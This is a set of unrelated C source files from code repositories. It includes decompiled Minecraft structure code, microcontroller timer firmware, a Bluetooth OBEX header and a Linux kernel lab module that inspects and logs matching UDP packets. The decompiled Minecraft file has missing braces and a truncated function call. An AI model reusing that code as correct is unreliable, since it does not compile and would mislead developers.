/Minecraft/Level/Structure/Piece/NBCastleSmallCorridorLeftTurnPiece.c
f262e1c064d2ea32471e4ffca47baa36d164c518
[]
no_license
hanbule/source
63f58444e0b4bf4df56524a7143cca6673d3f0dd
ea30a251dd8fd16a7bd2e568209797a9c7be970f
refs/heads/master
2021-07-04T11:16:22.502186
2017-09-27T20:32:49
2017-09-27T20:32:49
null
0
0
null
null
null
null
UTF-8
C
false
false
11,441
c
NBCastleSmallCorridorLeftTurnPiece.c
int __fastcall NBCastleSmallCorridorLeftTurnPiece::NBCastleSmallCorridorLeftTurnPiece(int result) { *(_DWORD *)(result + 20) = 0; *(_DWORD *)(result + 24) = 0; *(_DWORD *)(result + 12) = 0; *(_DWORD *)(result + 16) = 0; *(_DWORD *)(result + 4) = 0; *(_DWORD *)(result + 8) = 0; *(_DWORD *)(result + 28) = 255; *(_DWORD *)(result + 32) = 0; *(_DWORD *)result = &off_2723D40; return result; } signed int __fastcall NBCastleSmallCorridorLeftTurnPiece::getType(NBCastleSmallCorridorLeftTurnPiece *this) { return 1313033300; } int __fastcall NBCastleSmallCorridorLeftTurnPiece::createPiece(int a1, int a2, int a3, int a4, int a5, int a6, int a7, int a8) { Random *v8; // r8@1 __int64 *v9; // r6@1 _DWORD *v10; // r10@1 int result; // r0@1 _DWORD *v12; // r0@4 _DWORD *v13; // r6@4 char v14; // r5@4 int v15; // r0@4 int v16; // [sp+20h] [bp-38h]@1 int v17; // [sp+24h] [bp-34h]@1 int v18; // [sp+28h] [bp-30h]@4 int v19; // [sp+2Ch] [bp-2Ch]@4 int v20; // [sp+30h] [bp-28h]@4 int v21; // [sp+34h] [bp-24h]@4 v8 = (Random *)a3; v9 = (__int64 *)a2; v10 = (_DWORD *)a1; j_BoundingBox::orientBox((BoundingBox *)&v16, a4, a5, a6, -1, 0, 0, 5, 7, 5, a7); result = v17; if ( v17 < 11 || (result = j_StructurePiece::findCollisionPiece(v9, (int)&v16)) != 0 ) { *v10 = 0; } else v12 = j_operator new(0x28u); v13 = v12; v14 = 0; v12[3] = 0; v12[4] = 0; v12[1] = 0; v12[2] = 0; v12[8] = a8; *v12 = &off_2723D40; v15 = v16; v13[7] = a7; v13[1] = v15; v13[2] = v17; v13[3] = v18; v13[4] = v19; v13[5] = v20; v13[6] = v21; result = j_Random::_genRandInt32(v8) % 3; if ( !result ) v14 = 1; *v10 = v13; *((_BYTE *)v13 + 36) = v14; return result; } int __fastcall NBCastleSmallCorridorLeftTurnPiece::NBCastleSmallCorridorLeftTurnPiece(int a1, int a2, Random *this, int a4, int a5) { int v5; // r4@1 char v6; // r5@1 int result; // r0@3 v5 = a1; v6 = 0; *(_DWORD *)(a1 + 20) = 0; *(_DWORD *)(a1 + 24) = 0; *(_DWORD *)(a1 + 12) = 0; *(_DWORD *)(a1 + 16) = 0; *(_DWORD *)(a1 + 4) = 0; *(_DWORD *)(a1 + 8) = 0; *(_DWORD *)(a1 + 32) = a2; *(_DWORD *)a1 = &off_2723D40; *(_DWORD *)(a1 + 28) = a5; *(_DWORD *)(a1 + 4) = *(_DWORD *)a4; *(_DWORD *)(a1 + 8) = *(_DWORD *)(a4 + 4); *(_DWORD *)(a1 + 12) = *(_DWORD *)(a4 + 8); *(_DWORD *)(a1 + 16) = *(_DWORD *)(a4 + 12); *(_DWORD *)(a1 + 20) = *(_DWORD *)(a4 + 16); *(_DWORD *)(a1 + 24) = *(_DWORD *)(a4 + 20); if ( !(j_Random::_genRandInt32(this) % 3) ) v6 = 1; result = v5; *(_BYTE *)(v5 + 36) = v6; return result; } signed int __fastcall NBCastleSmallCorridorLeftTurnPiece::postProcess(NBCastleSmallCorridorLeftTurnPiece *this, BlockSource *a2, Random *a3, const BoundingBox *a4) { NBCastleSmallCorridorLeftTurnPiece *v4; // r6@1 BlockSource *v5; // r9@1 const BoundingBox *v6; // r10@1 void (__cdecl *v7)(NBCastleSmallCorridorLeftTurnPiece *, BlockSource *, const BoundingBox *, _DWORD, _DWORD, _DWORD, signed int, signed int, signed int); // r7@1 void (__fastcall *v8)(NBCastleSmallCorridorLeftTurnPiece *, BlockSource *, const BoundingBox *, _DWORD); // r7@1 void (__fastcall *v9)(NBCastleSmallCorridorLeftTurnPiece *, BlockSource *, const BoundingBox *, signed int); // r7@1 void (__fastcall *v10)(NBCastleSmallCorridorLeftTurnPiece *, BlockSource *, const BoundingBox *, signed int); // r5@1 void (__fastcall *v11)(NBCastleSmallCorridorLeftTurnPiece *, BlockSource *, const BoundingBox *, signed int); // r5@1 void (__fastcall *v12)(NBCastleSmallCorridorLeftTurnPiece *, BlockSource *, const BoundingBox *, _DWORD); // r5@1 void (__fastcall *v13)(NBCastleSmallCorridorLeftTurnPiece *, BlockSource *, const BoundingBox *, _DWORD); // r5@1 void (__fastcall *v14)(NBCastleSmallCorridorLeftTurnPiece *, BlockSource *, const BoundingBox *, signed int); // r5@1 void (__fastcall *v15)(NBCastleSmallCorridorLeftTurnPiece *, BlockSource *, const BoundingBox *, signed int); // r5@1 int v16; // r7@2 int v17; // r5@2 int v18; // r0@2 void (__fastcall *v19)(NBCastleSmallCorridorLeftTurnPiece *, BlockSource *, const BoundingBox *); // r5@8 void *v20; // r0@8 void (__fastcall *v21)(NBCastleSmallCorridorLeftTurnPiece *, BlockSource *, const BoundingBox *, _DWORD); // r7@9 int v22; // r5@9 void (__fastcall *v23)(NBCastleSmallCorridorLeftTurnPiece *, BlockSource *, char *, int); // r4@10 void (__fastcall *v24)(NBCastleSmallCorridorLeftTurnPiece *, BlockSource *, char *, int); // r4@10 void (__fastcall *v25)(NBCastleSmallCorridorLeftTurnPiece *, BlockSource *, char *, int); // r4@10 void (__fastcall *v26)(NBCastleSmallCorridorLeftTurnPiece *, BlockSource *, char *, int); // r4@10 int (__fastcall *v27)(NBCastleSmallCorridorLeftTurnPiece *, BlockSource *, char *, int); // r4@10 NetherFortressPiece *v28; // r0@10 Random *v29; // r2@10 unsigned int *v31; // r2@12 signed int v32; // r1@14 char v33; // [sp+2Ch] [bp-84h]@10 char v34; // [sp+2Dh] [bp-83h]@10 char v35; // [sp+30h] [bp-80h]@9 char v36; // [sp+31h] [bp-7Fh]@9 char v37; // [sp+34h] [bp-7Ch]@9 char v38; // [sp+35h] [bp-7Bh]@9 int v39; // [sp+3Ch] [bp-74h]@8 char v40; // [sp+40h] [bp-70h]@1 char v41; // [sp+41h] [bp-6Fh]@1 char v42; // [sp+44h] [bp-6Ch]@1 char v43; // [sp+45h] [bp-6Bh]@1 char v44; // [sp+48h] [bp-68h]@1 char v45; // [sp+49h] [bp-67h]@1 char v46; // [sp+4Ch] [bp-64h]@1 char v47; // [sp+4Dh] [bp-63h]@1 char v48; // [sp+50h] [bp-60h]@1 char v49; // [sp+51h] [bp-5Fh]@1 char v50; // [sp+54h] [bp-5Ch]@1 char v51; // [sp+55h] [bp-5Bh]@1 char v52; // [sp+58h] [bp-58h]@1 char v53; // [sp+59h] [bp-57h]@1 char v54; // [sp+5Ch] [bp-54h]@1 char v55; // [sp+5Dh] [bp-53h]@1 char v56; // [sp+60h] [bp-50h]@1 char v57; // [sp+61h] [bp-4Fh]@1 char v58; // [sp+64h] [bp-4Ch]@1 char v59; // [sp+65h] [bp-4Bh]@1 char v60; // [sp+68h] [bp-48h]@1 char v61; // [sp+69h] [bp-47h]@1 char v62; // [sp+6Ch] [bp-44h]@1 char v63; // [sp+6Dh] [bp-43h]@1 char v64; // [sp+70h] [bp-40h]@1 char v65; // [sp+71h] [bp-3Fh]@1 char v66; // [sp+74h] [bp-3Ch]@1 char v67; // [sp+75h] [bp-3Bh]@1 char v68; // [sp+78h] [bp-38h]@1 char v69; // [sp+79h] [bp-37h]@1 char v70; // [sp+7Ch] [bp-34h]@1 char v71; // [sp+7Dh] [bp-33h]@1 char v72; // [sp+80h] [bp-30h]@1 char v73; // [sp+81h] [bp-2Fh]@1 char v74; // [sp+84h] [bp-2Ch]@1 char v75; // [sp+85h] [bp-2Bh]@1 v4 = this; v5 = a2; v6 = a4; v7 = *(void (__cdecl **)(NBCastleSmallCorridorLeftTurnPiece *, BlockSource *, const BoundingBox *, _DWORD, _DWORD, _DWORD, signed int, signed int, signed int))(*(_DWORD *)this + 40); v74 = *(_BYTE *)(Block::mNetherBrick + 4); v75 = 0; v72 = *(_BYTE *)(Block::mNetherBrick + 4); v73 = 0; v7(this, a2, a4, 0, 0, 0, 4, 1, 4); v8 = *(void (__fastcall **)(NBCastleSmallCorridorLeftTurnPiece *, BlockSource *, const BoundingBox *, _DWORD))(*(_DWORD *)v4 + 40); v70 = BlockID::AIR; v68 = BlockID::AIR; v71 = 0; v69 = 0; v8(v4, v5, v6, 0); v9 = *(void (__fastcall **)(NBCastleSmallCorridorLeftTurnPiece *, BlockSource *, const BoundingBox *, signed int))(*(_DWORD *)v4 + 40); v66 = *(_BYTE *)(Block::mNetherBrick + 4); v67 = 0; v64 = *(_BYTE *)(Block::mNetherBrick + 4); v65 = 0; v9(v4, v5, v6, 4); v10 = *(void (__fastcall **)(NBCastleSmallCorridorLeftTurnPiece *, BlockSource *, const BoundingBox *, signed int))(*(_DWORD *)v4 + 40); v62 = *(_BYTE *)(Block::mNetherFence + 4); v63 = 0; v60 = *(_BYTE *)(Block::mNetherFence + 4); v61 = 0; v10(v4, v5, v6, 4); v11 = *(void (__fastcall **)(NBCastleSmallCorridorLeftTurnPiece *, BlockSource *, const BoundingBox *, signed int))(*(_DWORD *)v4 + 40); v58 = *(_BYTE *)(Block::mNetherFence + 4); v59 = 0; v56 = *(_BYTE *)(Block::mNetherFence + 4); v57 = 0; v11(v4, v5, v6, 4); v12 = *(void (__fastcall **)(NBCastleSmallCorridorLeftTurnPiece *, BlockSource *, const BoundingBox *, _DWORD))(*(_DWORD *)v4 + 40); v54 = *(_BYTE *)(Block::mNetherBrick + 4); v55 = 0; v52 = *(_BYTE *)(Block::mNetherBrick + 4); v53 = 0; v12(v4, v5, v6, 0); v13 = *(void (__fastcall **)(NBCastleSmallCorridorLeftTurnPiece *, BlockSource *, const BoundingBox *, _DWORD))(*(_DWORD *)v4 + 40); v50 = *(_BYTE *)(Block::mNetherBrick + 4); v51 = 0; v48 = *(_BYTE *)(Block::mNetherBrick + 4); v49 = 0; v13(v4, v5, v6, 0); v14 = *(void (__fastcall **)(NBCastleSmallCorridorLeftTurnPiece *, BlockSource *, const BoundingBox *, signed int))(*(_DWORD *)v4 + 40); v46 = *(_BYTE *)(Block::mNetherFence + 4); v47 = 0; v44 = *(_BYTE *)(Block::mNetherBrick + 4); v45 = 0; v14(v4, v5, v6, 1); v15 = *(void (__fastcall **)(NBCastleSmallCorridorLeftTurnPiece *, BlockSource *, const BoundingBox *, signed int))(*(_DWORD *)v4 + 40); v42 = *(_BYTE *)(Block::mNetherFence + 4); v43 = 0; v40 = *(_BYTE *)(Block::mNetherBrick + 4); v41 = 0; v15(v4, v5, v6, 3); if ( *((_BYTE *)v4 + 36) ) { v16 = (*(int (__fastcall **)(NBCastleSmallCorridorLeftTurnPiece *, signed int, signed int))(*(_DWORD *)v4 + 28))( v4, 3, 3); v17 = j_StructurePiece::getWorldY(v4, 2); v18 = (*(int (__fastcall **)(NBCastleSmallCorridorLeftTurnPiece *, signed int, signed int))(*(_DWORD *)v4 + 32))( if ( v16 >= *(_DWORD *)v6 && v16 <= *((_DWORD *)v6 + 3) && v18 >= *((_DWORD *)v6 + 2) && v18 <= *((_DWORD *)v6 + 5) && v17 >= *((_DWORD *)v6 + 1) && v17 <= *((_DWORD *)v6 + 4) ) { *((_BYTE *)v4 + 36) = 0; v19 = *(void (__fastcall **)(NBCastleSmallCorridorLeftTurnPiece *, BlockSource *, const BoundingBox *))(*(_DWORD *)v4 + 48); sub_21E94B4((void **)&v39, "loot_tables/chests/nether_bridge.json"); v19(v4, v5, v6); v20 = (void *)(v39 - 12); if ( (int *)(v39 - 12) != &dword_28898C0 ) { v31 = (unsigned int *)(v39 - 4); if ( &pthread_create ) { __dmb(); do v32 = __ldrex(v31); while ( __strex(v32 - 1, v31) ); } else v32 = (*v31)--; if ( v32 <= 0 ) j_j_j_j__ZdlPv_9(v20); } } } v21 = *(void (__fastcall **)(NBCastleSmallCorridorLeftTurnPiece *, BlockSource *, const BoundingBox *, _DWORD))(*(_DWORD *)v4 + 40); v37 = *(_BYTE *)(Block::mNetherBrick + 4); v38 = 0; v35 = *(_BYTE *)(Block::mNetherBrick + 4); v36 = 0; v21(v4, v5, v6, 0); v22 = 0; do v23 = *(void (__fastcall **)(NBCastleSmallCorridorLeftTurnPiece *, BlockSource *, char *, int))(*(_DWORD *)v4 + 44); v33 = *(_BYTE *)(Block::mNetherBrick + 4); v34 = 0; v23(v4, v5, &v33, v22); v24 = *(void (__fastcall **)(NBCastleSmallCorridorLeftTurnPiece *, BlockSource *, char *, int))(*(_DWORD *)v4 + 44); v24(v4, v5, &v33, v22); v25 = *(void (__fastcall **)(NBCastleSmallCorridorLeftTurnPiece *, BlockSource *, char *, int))(*(_DWORD *)v4 + 44); v25(v4, v5, &v33, v22); v26 = *(void (__fastcall **)(NBCastleSmallCorridorLeftTurnPiece *, BlockSource *, char *, int))(*(_DWORD *)v4 + 44); v26(v4, v5, &v33, v22); v27 = *(int (__fastcall **)(NBCastleSmallCorridorLeftTurnPiece *, BlockSource *, char *, int))(*(_DWORD *)v4 + 44); v28 = (NetherFortressPiece *)v27(v4, v5, &v33, v22++); while ( v22 != 5 ); return j_NetherFortressPiece::postProcess(v28, v5, v29, v6); }
825844d4984fe647de41b558198714c127bf2096
b81768187c60b0ccf6c88c2864be9d0bcad1d035
/sample.c
ed41074437ce3eaa3e1921853f67ff5e851476d1
[]
no_license
AparnaPidaparthi/Ubuntu-trials
cf3ae1f5f3e4a1f55f0a6fea224b2b6350a8fa7b
0ac1b9af3cfbe5e63c2a56de4cecce47623e500d
refs/heads/master
2021-01-24T07:45:20.038258
2017-06-05T02:02:53
2017-06-05T02:02:53
93,355,801
0
0
null
null
null
null
UTF-8
C
false
false
93
c
sample.c
#include<stdio.h> int main() { printf("Command line is so cool! Hello world!"); return 0; }
da4224839e346bd0c91c60b644c4d58be8bcf83f
e0e60e4115714179961e38de1b0744d385df7e66
/DataAcquisition/firmware/src/timer.c
c08e570323b36d7b8a342176f770077e83a13841
[]
no_license
jjsiekmann/SeniorDesign
c92d317c80d8f19559351f5960fae78dfc2e9393
143e258890765f033d2dad5c3eebee8f6c7bbdb1
refs/heads/master
2021-06-17T20:14:35.267795
2017-05-17T16:58:11
2017-05-17T16:58:11
null
0
0
null
null
null
null
UTF-8
C
false
false
2,671
c
timer.c
/******************************************************************************* Viasat Radar Based Vehicle Location and Navagation System University of Arizona ENGR498 Team 16060 Data Acquisition Firmware Comment: team created file handles timer functionality ********************************************************************************/ #include "timer.h" void initTimer3(){ //5msec timer T3CONbits.TON = 0; TMR3 = 0x0000; PR3 = 62499; T3CONbits.TCKPS = 0b011; //divide 100Mhz -> 12.5MHz IFS0bits.T3IF = 0; IEC0bits.T3IE = 1; //enable interrupt /*Interrupt Priority and Subpriority for this interrupt vector is set within system_init.c*/ TRISEbits.TRISE1 = 0; //for timer test ODCEbits.ODCE1 = 0; LATEbits.LATE1 = 0; } void initTimer4(){ //msec T4CONbits.TON = 0; TMR4 = 0x0000; PR4 = 49999; T4CONbits.TCKPS = 1; //100 MHz -> 50 MHz IFS0bits.T4IF = 0; IEC0bits.T4IE = 1; //enable interrupt /*Interrupt Priorities and Subpriorities for this interrupt vector are set within system_init.c*/ } void initTimer5(){ //ADC trigger timer (sample timer): 55.55us T5CONbits.TON = 0; TMR5 = 0x0000; PR5 = 5554; //55.55us T5CONbits.TCKPS = 0; //100 MHz IFS0bits.T5IF = 0; IEC0bits.T5IE = 0; } void initTimer6(){ T6CONbits.TON = 0; TMR6 = 0x0000; PR6 = 246; //2.47us T6CONbits.TCKPS = 0; //100 MHz IFS0bits.T6IF = 0; IEC0bits.T6IE = 0; } void initTimer7(){ //5msec timer T7CONbits.TON = 0; TMR7 = 0x0000; PR7 = 62499; T7CONbits.TCKPS = 0b011; //divide 100Mhz -> 12.5MHz IFS1bits.T7IF = 0; IEC1bits.T7IE = 0; //enable interrupt /*Interrupt Priority and Subpriority for this interrupt vector is set within system_init.c*/ } void timer3ON(){ T3CONbits.TON = 1; } void timer3OFF(){ T3CONbits.TON = 0; } void timer4ON(){ T4CONbits.TON = 1; } void timer4OFF(){ T4CONbits.TON = 0; } void timer5ON(){ T5CONbits.TON = 1; } void timer5OFF(){ T5CONbits.TON = 0; } void timer6ON(){ T6CONbits.TON = 1; } void timer6OFF(){ T6CONbits.TON = 0; } void timer7ON(){ T7CONbits.TON = 1; } void timer7OFF(){ T7CONbits.TON = 0; } void delay5ms(){ T7CONbits.TON = 1; while(IFS1bits.T7IF == 0){} T7CONbits.TON = 0; IFS1bits.T7IF = 0; } void delay2_47us(){ T6CONbits.TON = 1; while(IFS0bits.T6IF == 0){} T6CONbits.TON = 0; IFS0bits.T6IF = 0; } void delay32_11us(){ //2.47us*13 = 32.11us int i = 0; for(i = 0; i < 13; i++){ delay2_47us(); } } void testTimer3(){ LATESET = 0x0002; delay5ms(); LATGINV = 0x0002; delay5ms(); }
b62908d5a856752db317093d02f791499756b4ab
b9af920022ad4091d689a97e0e383070785e37cb
/central_server/src/alarm.c
3f3f5256861150cb7dd389b0f8dcde5d6e5c9254
[ "MIT" ]
permissive
WelisonR/embarcados-projeto2
9cac5b787bc88762c090c28b62a67315fad1b605
46ed68c7a8b519c698fd39d0fd6e6628bd14bc2d
refs/heads/master
2023-01-07T00:59:00.469181
2020-11-07T18:36:14
2020-11-07T18:36:14
308,990,707
0
1
null
null
null
null
UTF-8
C
false
false
756
c
alarm.c
/* Own header files */ #include "alarm.h" #include "system_monitor.h" /*! * @brief Function used to update alarm status (ON or OFF). */ void update_alarm_status(gpio_state *sensors, int *alarm_status, int *is_alarm_enabled) { for (int i = 0; i < SENSORS_LENGTH; i++) { if (sensors[i].state == ON && *is_alarm_enabled == ON) { if (*alarm_status == OFF) { store_system_logs("Alarme ON"); *alarm_status = ON; // TODO: play system audio at this point } return; } } if (*alarm_status == ON) { store_system_logs("Alarme OFF"); // TODO: stop system audio at this point } *alarm_status = OFF; }
c30fee1e5df75db4e7dc8c0c4802dd8dce2605cb
765f7b8c2caf2d50da8f431f1332207456ba33ee
/libc/locale/setlocale.c
411852cca953fe272b3fd929dfdbe5b1cbb11db3
[ "BSD-3-Clause", "LicenseRef-scancode-proprietary-license", "LicenseRef-scancode-commercial-license", "AGPL-3.0-or-later", "GPL-1.0-or-later", "NCSA", "LicenseRef-scancode-unknown-license-reference" ]
permissive
klange/toaruos
a840f8d46993dc7a8850f82b6d04ba0c2af276a9
4a31a09ba27904b42ee35e8fb1a3c7f87669a2ef
refs/heads/master
2023-09-01T02:00:53.151334
2023-08-28T00:59:18
2023-08-28T00:59:18
1,259,258
5,557
613
NCSA
2023-02-04T08:24:11
2011-01-16T00:59:27
C
UTF-8
C
false
false
117
c
setlocale.c
#include <stdlib.h> #include <locale.h> char * setlocale(int category, const char *locale) { return "en_US"; }
40d180aab81f011bd88be84da815a1cc99ca7781
582c2f1d99d63f615db5b4f7a065100557d58250
/practice/EIFGENs/practice/W_code/C5/big_file_C5_c.c
2507f8793b2dfc48220227674bb7c93daa27d2a6
[]
no_license
MohaimenH/Eiffel-Practice
588fcc4d8825b97de84b2f7a228f71715bd0c808
95ac638e70293589adbcfc2e3db98e19cca57b0d
refs/heads/master
2022-12-18T00:20:38.615653
2020-09-06T00:31:19
2020-09-06T00:31:19
293,172,330
0
0
null
null
null
null
UTF-8
C
false
false
1,230
c
big_file_C5_c.c
#include "kl1105d.c" #include "kl1105.c" #include "kl1104d.c" #include "kl1114d.c" #include "kl1115d.c" #include "kl1118d.c" #include "kl1104.c" #include "kl1114.c" #include "kl1115.c" #include "kl1118.c" #include "kl1096d.c" #include "kl1096.c" #include "kl1109d.c" #include "kl1109.c" #include "kl1108d.c" #include "kl1108.c" #include "ki1119d.c" #include "ki1119.c" #include "in1107d.c" #include "in1107.c" #include "kl1112d.c" #include "kl1117d.c" #include "kl1112.c" #include "kl1117.c" #include "kl1111d.c" #include "kl1116d.c" #include "kl1111.c" #include "kl1116.c" #include "kl1110d.c" #include "kl1113d.c" #include "kl1110.c" #include "kl1113.c" #include "ds1092d.c" #include "ds1092.c" #include "ds1101d.c" #include "ds1101.c" #include "ds1097d.c" #include "ds1097.c" #include "ds1099d.c" #include "ds1099.c" #include "ds1091d.c" #include "ds1091.c" #include "ds1103d.c" #include "ds1103.c" #include "ds1106d.c" #include "ds1106.c" #include "ds1100d.c" #include "ds1100.c" #include "ds1095d.c" #include "ds1095.c" #include "ds1120d.c" #include "ds1120.c" #include "ds1094d.c" #include "ds1094.c" #include "ds1098d.c" #include "ds1098.c" #include "ds1093d.c" #include "ds1093.c" #include "ds1102d.c" #include "ds1102.c"
2eff33d204ee9efe7509a19b5c3fb0e9bbc82024
b975d4cbad9d7863557380a5ca35246799cbaa7a
/bt-service/include/bt-service-obex-agent.h
7094bb3bfb96d6b02c178ab2dcc69858aaec8960
[ "Apache-2.0" ]
permissive
Tizen-Sunfish/bluetooth-frwk
2e1b1e7c9b388949da7aa43dac47b3949e9ab820
fed9e52b2f03337f81791a08a7c8761876b5427d
refs/heads/master
2016-09-05T12:07:14.048220
2014-12-05T14:37:09
2014-12-05T14:37:09
27,594,155
0
2
null
null
null
null
UTF-8
C
false
false
3,928
h
bt-service-obex-agent.h
/* * bluetooth-frwk * * Copyright (c) 2012-2013 Samsung Electronics Co., Ltd. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. * */ #ifndef __BT_SERVICE_OBEX_AGENT_H #define __BT_SERVICE_OBEX_AGENT_H #include <glib-object.h> #include <dbus/dbus-glib.h> #ifdef __cplusplus extern "C" { #endif typedef enum { BT_OBEX_AGENT_ERROR_REJECT, BT_OBEX_AGENT_ERROR_CANCEL, BT_OBEX_AGENT_ERROR_TIMEOUT, } bt_agent_error_t; G_BEGIN_DECLS typedef struct { GObject parent; } BtObexAgent; typedef struct { GObjectClass parent_class; } BtObexAgentClass; GType bt_obex_agent_get_type(void); #define BT_OBEX_TYPE_AGENT (bt_obex_agent_get_type()) #define BT_OBEX_AGENT(obj) (G_TYPE_CHECK_INSTANCE_CAST((obj), BT_OBEX_TYPE_AGENT, BtObexAgent)) #define BT_OBEX_AGENT_CLASS(agent_class) (G_TYPE_CHECK_CLASS_CAST((agent_class), BT_OBEX_TYPE_AGENT, BtObexAgentClass)) #define BT_OBEX_GET_AGENT_CLASS(obj) (G_TYPE_INSTANCE_GET_CLASS((obj), BT_OBEX_TYPE_AGENT, BtObexAgentClass)) typedef gboolean(*bt_obex_authorize_cb)(DBusGMethodInvocation *context, const char *path, const char *bdaddress, const char *name, const char *type, gint length, gint time, gpointer data); typedef gboolean(*bt_obex_request_cb)(DBusGMethodInvocation *context, DBusGProxy *transfer, gpointer data); typedef gboolean(*bt_obex_progress_cb)(DBusGMethodInvocation *context, DBusGProxy *transfer, guint64 transferred, gpointer data); typedef gboolean(*bt_obex_error_cb)(DBusGMethodInvocation *context, DBusGProxy *transfer, const char *message, gpointer data); typedef gboolean(*bt_obex_complete_cb)(DBusGMethodInvocation *context, DBusGProxy *transfer, gpointer data); typedef gboolean(*bt_obex_release_cb)(DBusGMethodInvocation *context, gpointer data); G_END_DECLS void _bt_obex_set_authorize_cb(BtObexAgent *agent, bt_obex_authorize_cb func, gpointer data); void _bt_obex_set_request_cb(BtObexAgent *agent, bt_obex_request_cb func, gpointer data); void _bt_obex_set_progress_cb(BtObexAgent *agent, bt_obex_progress_cb func, gpointer data); void _bt_obex_set_error_cb(BtObexAgent *agent, bt_obex_error_cb func, gpointer data); void _bt_obex_set_complete_cb(BtObexAgent *agent, bt_obex_complete_cb func, gpointer data); void _bt_obex_set_release_cb(BtObexAgent *agent, bt_obex_release_cb func, gpointer data); BtObexAgent *_bt_obex_agent_new(void); gboolean _bt_obex_setup(BtObexAgent *agent, const char *path); gboolean bt_obex_agent_request(BtObexAgent *agent, const char *path, DBusGMethodInvocation *context); gboolean bt_obex_agent_authorize(BtObexAgent *agent, const char *path, const char *bdaddress, const char *name, const char *type, gint length, gint time, DBusGMethodInvocation *context); gboolean bt_obex_agent_progress(BtObexAgent *agent, const char *path, guint64 transferred, DBusGMethodInvocation *context); gboolean bt_obex_agent_complete(BtObexAgent *agent, const char *path, DBusGMethodInvocation *context); gboolean bt_obex_agent_release(BtObexAgent *agent, DBusGMethodInvocation *context); gboolean bt_obex_agent_error(BtObexAgent *agent, const char *path, const char *message, DBusGMethodInvocation *context); #ifdef __cplusplus } #endif /* __cplusplus */ #endif /* __BT_SERVICE_OBEX_AGENT_H */
cbc32e277e3af3def80575af087ba63fc0680e63
7195bfafc2e45a9800ae2853c917b57d13238b45
/Planting_Robot/Drivers/Shell_Driver.h
337adab1659ce19f6c6ff985623e9a7c74668e1b
[]
no_license
Pedinni/PlantingRobot
95bffdae06a0fae3322b1eb570bbe986094a743d
6151a2174ff7510c2997dd566801d34d3ed4b26c
refs/heads/master
2021-01-23T01:40:59.637518
2017-07-14T12:19:01
2017-07-14T12:19:01
85,925,424
0
0
null
null
null
null
UTF-8
C
false
false
464
h
Shell_Driver.h
/* * LED_Driver.h * * Created on: 25.04.2017 * Author: Patrick */ #ifndef DRIVERS_SHELL_DRIVER_H_ #define DRIVERS_SHELL_DRIVER_H_ /* Including needed modules to compile this module/procedure */ #include "Application.h" #include "LED1.h" #include "WAIT1.h" #include "FRTOS1.h" #include "CLS2.h" #include "LED_Driver.h" static void Shell_Task(void *pvParameters); void Shell_Driver_Init(void); void DoUART(void); #endif /* DRIVERS_LED_DRIVER_H_ */
62840dbecc7170464b6438bca6d2951363878f83
2eb202a6353e47958f6049335b1b9e234a227966
/lab3/lab3.c
6ce71bc298e3cc384e5ed92f260f4a68f64857f9
[]
no_license
quest-prophets/io-dt
c916e630a697c0f3cbf489c419004db5ed299dac
b314602447b0921be6456d1ee66d9a68b2d05614
refs/heads/main
2023-04-01T02:32:07.326237
2021-04-07T18:13:15
2021-04-07T18:13:15
341,169,186
0
0
null
null
null
null
UTF-8
C
false
false
6,831
c
lab3.c
#include <linux/etherdevice.h> #include <linux/in.h> #include <linux/ip.h> #include <linux/module.h> #include <linux/moduleparam.h> #include <linux/netdevice.h> #include <linux/proc_fs.h> #include <linux/udp.h> #include <linux/version.h> #include <net/arp.h> MODULE_AUTHOR("P3402"); MODULE_DESCRIPTION("IOS Lab3 driver"); MODULE_LICENSE("GPL"); MODULE_VERSION("0.1"); static char* target_if = NULL; module_param(target_if, charp, 0); MODULE_PARM_DESC(target_if, "Target interface"); static char* target_str = NULL; module_param(target_str, charp, 0); MODULE_PARM_DESC(target_str, "Target string to intercept"); static char* target_proc_name = NULL; module_param(target_proc_name, charp, 0); MODULE_PARM_DESC(target_proc_name, "Proc entry name (example: lab4_stat)"); struct dev_state { struct net_device* parent_dev; struct net_device_stats packet_stats; char data_buf[1500]; struct proc_dir_entry* proc_entry; }; static struct net_device* child_dev = NULL; static struct net_device_stats* get_stats(struct net_device* dev) { struct dev_state* state = netdev_priv(dev); return &state->packet_stats; } static char check_frame(struct sk_buff* skb, unsigned char data_shift) { struct dev_state* state = netdev_priv(child_dev); unsigned char* user_data_ptr = NULL; struct iphdr* ip = (struct iphdr*)skb_network_header(skb); struct udphdr* udp = NULL; int data_len = 0; if (ip->protocol == IPPROTO_UDP) { udp = (struct udphdr*)((unsigned char*)ip + (ip->ihl * 4)); data_len = ntohs(udp->len) - sizeof(struct udphdr); user_data_ptr = (unsigned char*)(skb->data + sizeof(struct iphdr) + sizeof(struct udphdr)) + data_shift; memcpy(state->data_buf, user_data_ptr, data_len); state->data_buf[data_len] = '\0'; if (strcmp(state->data_buf, target_str) == 0) { printk( KERN_INFO "%s: intercepted matching UDP datagram, data: %s, saddr: %d.%d.%d.%d, daddr: %d.%d.%d.%d\n", THIS_MODULE->name, state->data_buf, ntohl(ip->saddr) >> 24, (ntohl(ip->saddr) >> 16) & 0x00FF, (ntohl(ip->saddr) >> 8) & 0x0000FF, (ntohl(ip->saddr)) & 0x000000FF, ntohl(ip->daddr) >> 24, (ntohl(ip->daddr) >> 16) & 0x00FF, (ntohl(ip->daddr) >> 8) & 0x0000FF, (ntohl(ip->daddr)) & 0x000000FF); return 1; } else { printk(KERN_INFO "%s: skipped UDP datagram, data: %s\n", THIS_MODULE->name, state->data_buf); } } return 0; } static netdev_tx_t inspect_tx_frame(struct sk_buff* skb, struct net_device* dev) { struct dev_state* state = netdev_priv(dev); if (check_frame(skb, 14)) { state->packet_stats.tx_packets++; state->packet_stats.tx_bytes += skb->len; } if (state->parent_dev) { skb->dev = state->parent_dev; skb->priority = 1; dev_queue_xmit(skb); return 0; } return NETDEV_TX_OK; } static rx_handler_result_t inspect_rx_frame(struct sk_buff** pskb) { struct dev_state* state = netdev_priv(child_dev); if (check_frame(*pskb, 0)) { state->packet_stats.rx_packets++; state->packet_stats.rx_bytes += (*pskb)->len; } (*pskb)->dev = child_dev; return RX_HANDLER_PASS; } static int lab3_dev_open(struct net_device* dev) { netif_start_queue(dev); printk(KERN_INFO "%s: device %s opened\n", THIS_MODULE->name, dev->name); return 0; } static int lab3_dev_stop(struct net_device* dev) { netif_stop_queue(dev); 